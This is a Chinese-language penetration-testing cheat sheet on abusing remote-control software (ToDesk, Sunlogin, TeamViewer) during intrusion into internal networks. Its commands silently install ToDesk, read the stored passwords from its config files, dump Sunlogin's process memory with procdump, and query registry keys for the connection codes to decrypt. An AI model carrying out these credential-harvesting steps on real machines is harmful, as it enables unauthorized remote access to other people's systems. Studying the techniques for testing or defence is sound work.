# 内网渗透 - 远控 # 内网渗透 - 远控 ## 信息收集 ```shell tasklist #进程信息 Todesk - todesk.exe 向日葵 - SunloginClient.exe TeamViewer - TeamViewer_Service.exe ``` ## ToDesk ### 默认安装路径 C:/Program Files (x86)/ToDesk/config.ini ### ToDesk_Lite > https://dl.todesk.com/windows/ToDesk_Lite.exe ```shell #利用powershell建立http连接下载exe powershell -c Invoke-WebRequest -Uri "https://dl.todesk.com/windows/ToDesk_Lite.exe" -OutFile "todesk_lite.exe" #打开todesk_lite.exe以后通过type读取默认路径的配置文件 type C:\ProgramData\ToDesk_Lite\config.ini 配置文件中 tempAuthPassEx为临时密码 authPassEx为安全密码 ps:Todesk_lite在每次连接完后,会自动重置连接密码 ``` ### ToDesk静默安装 ```shell ToDesk_Setup.exe /S #静默安装,所有选项均是默认的 type C:/Program Files (x86)/ToDesk/config.ini #通过type读配置文件 ``` ### 内网Todesk进程 ```shell #通过执行 tasklist 查看当前系统是否有Todesk.exe进程 tasklist #有的话执行下方语句,获取进程运行路径 wmic process where name="ToDesk.exe" get processid,executablepath,name #接下来就是读取配置文件连接远控 type ``` ## 向日葵 ### 最新版 向日葵强化了加密机制,将config中的信息写入到内存中 ```shell tasklist /v | findstr /i sunlogin #查看向日葵进程信息 ``` ![image-20231028222641269](https://gitee.com/chennimei000/lalalaimages/raw/master/2023/10/28/222642-image-20231028222641269.png) ```shell procdump64.exe -accepteula -ma 进程号 #通过procdump工具将指定内存号的内心信息dump下来 ps:进场号一般选当前用户的subloginClient.exe进程 https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump ``` 然后将dump出来的内存数据放入winhex进行查找 ```shell 在winhex中按住 ctrl+alt+x (查询十六进制数据) 查找下方数据 79616865692E323820633D636F6C6F725F65646974203E ``` ![image-20231028223012735](https://gitee.com/chennimei000/lalalaimages/raw/master/2023/10/28/223013-image-20231028223012735.png) ### 比较新的版本 在向日葵`v11.1.2.38529`中,强化了加密机制,删除了配置文件`config.ini`中的`fastcode`(本机识别码)字段和`encry_pwd`(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用`Sunflower_get_Password`[5]工具即可解密。 ```shell reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo ``` ### 老版本 #### 配置文件 ``` #安装版 C:\Program Files\Oray\SunLogin\SunloginClient\config.ini #便携版 C:\ProgramData\Oray\SunloginClient\config.ini ``` ### 密码解密工具 > https://github.com/wafinfo/Sunflower_get_Password?ref=pythonrepo.com ## GotoHttp > http://gotohttp.com/ ![image-20231028233011275](https://gitee.com/chennimei000/lalalaimages/raw/master/2023/10/28/233011-image-20231028233011275.png)